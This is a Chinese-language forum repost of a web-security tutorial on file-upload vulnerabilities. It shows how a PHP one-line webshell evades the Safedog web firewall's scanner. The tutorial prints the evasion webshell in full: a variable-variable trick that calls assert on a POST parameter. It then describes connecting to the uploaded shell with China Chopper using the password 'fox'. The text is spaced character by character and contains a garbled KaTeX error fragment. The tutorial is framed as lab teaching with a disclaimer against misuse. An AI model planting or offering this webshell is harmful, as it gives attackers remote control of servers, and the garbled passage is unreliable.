搜索

[21582] 2021-01-09_[网络安全]十五、文件上传漏洞之绕狗一句话原理和绕过安全狗

文档创建者：s7ckTeam
浏览次数：60
最后更新：2025-01-18
2021-01-09_[网络安全]十五、文件上传漏洞之绕狗一句话原理和绕过安全狗 [ 网 络 安 全 ]   十 五 、 文 件 上 传 漏 洞 之 绕 狗 一 句 话 原 理 和 绕 过 安 全 狗 L e m o n S e c   2 0 2 1 - 0 1 - 0 9 前 文 分 享 （ 下 面 的 超 链 接 可 以 点 击 喔 ） ： [ 网 络 安 全 ]   一 . W e b 渗 透 入 门 基 础 与 安 全 术 语 普 及 [ 网 络 安 全 ]   二 . W e b 渗 透 信 息 收 集 之 域 名 、 端 口 、 服 务 、 指 纹 、 旁 站 、 C D N 和 敏 感 信 息 [ 网 络 安 全 ]   三 . 社 会 工 程 学 那 些 事 及 I P 物 理 定 位 [ 网 络 安 全 ]   四 . 手 工 S Q L 注 入 和 S Q L M A P 入 门 基 础 及 案 例 详 解 [ 网 络 安 全 ]   五 . X S S 跨 站 脚 本 攻 击 详 解 及 分 类 - 1 [ 网 络 安 全 ]   六 . X S S 跨 站 脚 本 攻 击 靶 场 案 例 九 题 及 防 御 方 法 - 2 [ 网 络 安 全 ]   七 . B u r p   S u i t e 工 具 安 装 配 置 、 P r o x y 基 础 用 法 及 暴 库 入 门 示 例 [ 网 络 安 全 ]   八 . W e b 漏 洞 及 端 口 扫 描 之 Z e N m a p 、 T h r e a t S c a n 和 D i r B u s t e r 工 具 [ 网 络 安 全 ]   九 . W i r e s h a r k 安 装 入 门 及 抓 取 网 站 用 户 名 密 码 - 1 [ 网 络 安 全 ]   十 . W i r e s h a r k 抓 包 原 理 、 A R P 劫 持 、 M A C 泛 洪 及 数 据 流 追 踪 - 2 [ 网 络 安 全 ]   十 一 . S h o d a n 搜 索 引 擎 详 解 及 P y t h o n 命 令 行 调 用 [ 网 络 安 全 ]   十 二 . 文 件 上 传 漏 洞   ( 1 ) 基 础 原 理 及 C a i d a o 入 门 知 识 [ 网 络 安 全 ]   十 三 . 文 件 上 传 漏 洞   ( 2 ) 常 用 绕 过 方 法 及 I I S 6 . 0 解 析 漏 洞 [ 网 络 安 全 ]   十 四 、 文 件 上 传 漏 洞 （ 3 ） 、 编 辑 器 漏 洞 和 I I S 高 版 本 漏 洞 及 防 御 文 章 目 录 文 章 目 录 一 . 防 火 墙 及 安 全 狗 二 . 绕 狗 一 句 话 三 . 绕 狗 一 句 话 原 理 四 . 总 结
声 明 ： 本 人 坚 决 反 对 利 用 教 学 方 法 进 行 犯 罪 的 行 为 ， 一 切 犯 罪 行 为 必 将 受 到 严 惩 ， 绿 色 网 络 需 要 我 们 共 同 维 护 ， 更 推 荐 大 家 了 解 它 们 背 后 的 原 理 ， 更 好 地 进 行 防 护 。 一 一 . 防 火 墙 及 安 全 狗 防 火 墙 及 安 全 狗 防 火 墙 技 术 是 通 过 有 机 结 合 各 类 用 于 安 全 管 理 与 筛 选 的 软 件 和 硬 件 设 备 ， 帮 助 计 算 机 网 络 于 其 内 、 外 网 之 间 构 建 一 道 相 对 隔 绝 的 保 护 屏 障 ， 以 保 护 用 户 资 料 与 信 息 安 全 性 的 一 种 技 术 。 防 火 墙 技 术 的 功 能 主 要 在 于 及 时 发 现 并 处 理 计 算 机 网 络 运 行 时 可 能 存 在 的 安 全 风 险 、 数 据 传 输 等 问 题 ， 其 中 处 理 措 施 包 括 隔 离 与 保 护 ， 同 时 可 对 计 算 机 网 络 安 全 当 中 的 各 项 操 作 实 施 记 录 与 检 测 ， 以 确 保 计 算 机 网 络 运 行 的 安 全 性 ， 保 障 用 户 资 料 与 信 息 的 完 整 性 ， 为 用 户 提 供 更 好 、 更 安 全 的 计 算 机 网 络 使 用 体 验 。 假 设 我 们 的 p h p S t u d y 靶 场 存 在 一 个 “ a . p h p ” 文 件 ， 如 下 图 所 示 ， 它 是 一 个 常 规 的 木 马 。 我 们 尝 试 访 问 “ a . p h p ” ， 但 提 示 错 误 ， 因 为 它 被 防 火 墙 或 安 全 狗 拦 截 了 。 下 面 我 们 再 分 享 下 安 全 狗 的 概 念 。 安 全 狗 以 S E C a a S 安 全 即 为 用 户 提 供 一 站 式 的 云 安 全 产 品 与 服 务 ， 包 括 （ 云 ） 主 机 安 全 、 W E B 应 用 安 全 、 网 站 防 篡 改 、 抗 D D o S 云 服 务 、 安 全 大 数 据 态 势 感 知 等 。 其 基 本 功 能 包 括 ： 网 站 安 全 狗 ： 网 站 安 全 狗 ：   面 向 网 站 安 全 ， 包 括 网 马 扫 描 及 查 杀 （ 自 有 引 擎 ， 只 针 对 网 页 木 马 ） ； 网 马 主 动 防 御 功 能 （ 可 主 动 拦 截 网 马 上 传 和 访 问 的 动 作 ） ； 防 S Q L 注 入 功 能 、 防 X S S 跨 站 攻 击 功 能 ； 防 盗 链 防 下 载 ； 以 及 防 止 C C 攻 击 。 服 务 器 安 全 狗 ： 服 务 器 安 全 狗 ：   面 向 服 务 器 安 全 的 ， 包 括 基 于 内 核 驱 动 的 抗 D D O S 攻 击 、 抗 A R P 攻 击 、 抗 W E B   C C 攻 击 功 能 ； 基 于 内 核 驱 动 的 文 件 系 统 主 动 保 护 功 能 （ 可 防 止 文 件 被 篡 改 、 保 护 系 统 文 件 ） ； 基 于 内 核 驱 动 的 服 务 器 其 他 方 面 的 主 动 防 御
功 能 （ 系 统 账 号 、 注 册 表 、 远 程 登 陆 等 方 面 的 保 护 ） ； 以 及 服 务 器 全 面 优 化 及 体 检 功 能 。 安 全 狗 服 云 ： 安 全 狗 服 云 ：   基 于 云 端 的 监 控 和 保 护 。 安 全 狗 服 云 利 用 云 计 算 技 术 ， 为 用 户 构 造 一 个 全 面 的 服 务 器 和 网 站 的 监 控 和 防 护 平 台 ， 利 用 这 个 平 台 ， 用 户 可 以 做 到 2 4 小 时 的 服 务 器 健 康 监 控 、 资 源 监 控 和 资 源 告 警 ； 2 4 小 时 的 服 务 器 可 用 性 监 控 ； 网 站 安 全 云 扫 描 ， 发 现 网 站 存 在 的 各 种 漏 洞 ； 基 于 云 端 技 术 的 网 站 防 篡 改 功 能 ， 保 障 网 站 文 件 不 被 非 法 修 改 。 接 着 我 们 下 载 安 全 狗 并 进 行 安 装 ， 如 下 图 所 示 。 安 装 成 功 之 后 ， 包 括 网 站 防 护 、 资 源 防 护 、 I P 黑 白 名 单 、 防 护 日 志 四 个 核 心 功 能 。
二 二 . 绕 狗 一 句 话 绕 狗 一 句 话 假 设 我 们 存 在 一 个 “ a . p h p ” 文 件 和 “ g o u . p h p ” 文 件 。 其 中 “ a . p h p ” 一 句 话 木 马 如 下 图 所 示 ： “ g o u . p h p ” 的 代 码 如 下 ： < ? p h p   $ a = ' b ' ;   $ $ a = ' a s s e r t ' ;   $ b ( $ _ P O S T [ f o x ] ) ; ? >
1 2 3 4 5 点 击 网 马 查 杀 下 面 的 “ 自 定 义 路 径 扫 描 ” 按 钮 ， 如 下 图 所 示 。 接 着 选 择 指 定 目 录 ， 这 里 使 我 们 p h p S t u d y 的 靶 场 “ W W W / g o u ” 文 件 夹 。 其 扫 描 结 果 是 ， 它 发 现 了 我 们 的 P H P 一 句 话 木 马 ， 却 没 有 发 现 绕 狗 一 句 话 。
木 马 提 示 如 下 图 所 示 ： 我 们 的 “ d o g . p h p ” 没 有 被 发 现 了 ， 并 且 能 够 直 接 访 问 ， 接 下 来 我 们 利 用 中 国 菜 刀 和 狗 刀 进 行 连 接 ， 并 解 释 其 工 作 原 理 。 三 三 . 绕 狗 一 句 话 原 理 绕 狗 一 句 话 原 理 绕 狗 一 句 话 木 马 代 码 如 下 ：
1 2 3 4 5 这 里 的 “ $ $ a = ‘ a s s e r t ’ ; ” 其 实 就 是 “ $ b ” ， 由 于 没 有 直 接 对 “ K a T e X   p a r s e   e r r o r :   U n d e f i n e d   c o n t r o l   s e q u e n c e :   b   a t   p o s i t i o n   1 :   ̲ b ̲ ” 进 行 赋 值 ， 所 以 安 全 狗 不 会 提 示 … _ P O S T [ f o x ] ) ” ， 其 实 就 是 一 句 话 木 马 。 紧 接 着 我 们 尝 试 用 C a i d a o 进 行 连 接 。 注 意 ， 这 里 这 里 我 们 远 程 服 务 器 上 传 的 绕 狗 一 句 话 文 件 叫 “ d o g . p h p ” 。 这 里 提 示 安 全 狗 拦 截 ， 如 下 图 所 示 ： 下 图 可 以 看 到 ， 中 国 菜 刀 成 功 获 取 了 服 务 器 的 文 件 目 录 。 < ? p h p   $ a = ' b ' ;   $ $ a = ' a s s e r t ' ;   $ b ( $ _ P O S T [ f o x ] ) ; ? >
接 着 尝 试 用 狗 刀 进 行 连 接 。 连 接 的 U R L 如 下 所 示 ， 密 码 为 “ f o x ” （ f o x 老 师 的 名 称 ） 。 最 终 也 成 功 获 取 了 服 务 器 的 目 录 。 接 着 尝 试 利 用 W S E x p l o r e r 工 具 进 行 抓 包 ， 对 比 “ 中 国 菜 刀 ” 和 “ 狗 刀 ” 的 流 量 。
将 数 据 包 复 制 到 记 事 本 中 ， 进 行 对 比 ， 上 面 是 “ 中 国 菜 刀 ” 获 取 的 数 据 包 ， 下 面 是 “ 狗 刀 ” 获 取 的 数 据 包 。 将 z 0 和 z 1 提 取 出 来 ， 如 下 图 所 示 ， 通 常 会 搜 索 % 然 后 转 换 “ = ” 、 “ + ” 等 字 符 。 从 C r a c e r 安 全 工 具 中 找 到 转 码 工 具 。
B a s e 6 4 转 码 的 结 果 如 下 图 所 示 ： “ 中 国 菜 刀 ” 流 量 的 转 码 结 果 如 下 ： “ 狗 刀 ” 流 量 的 转 码 结 果 如 下 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理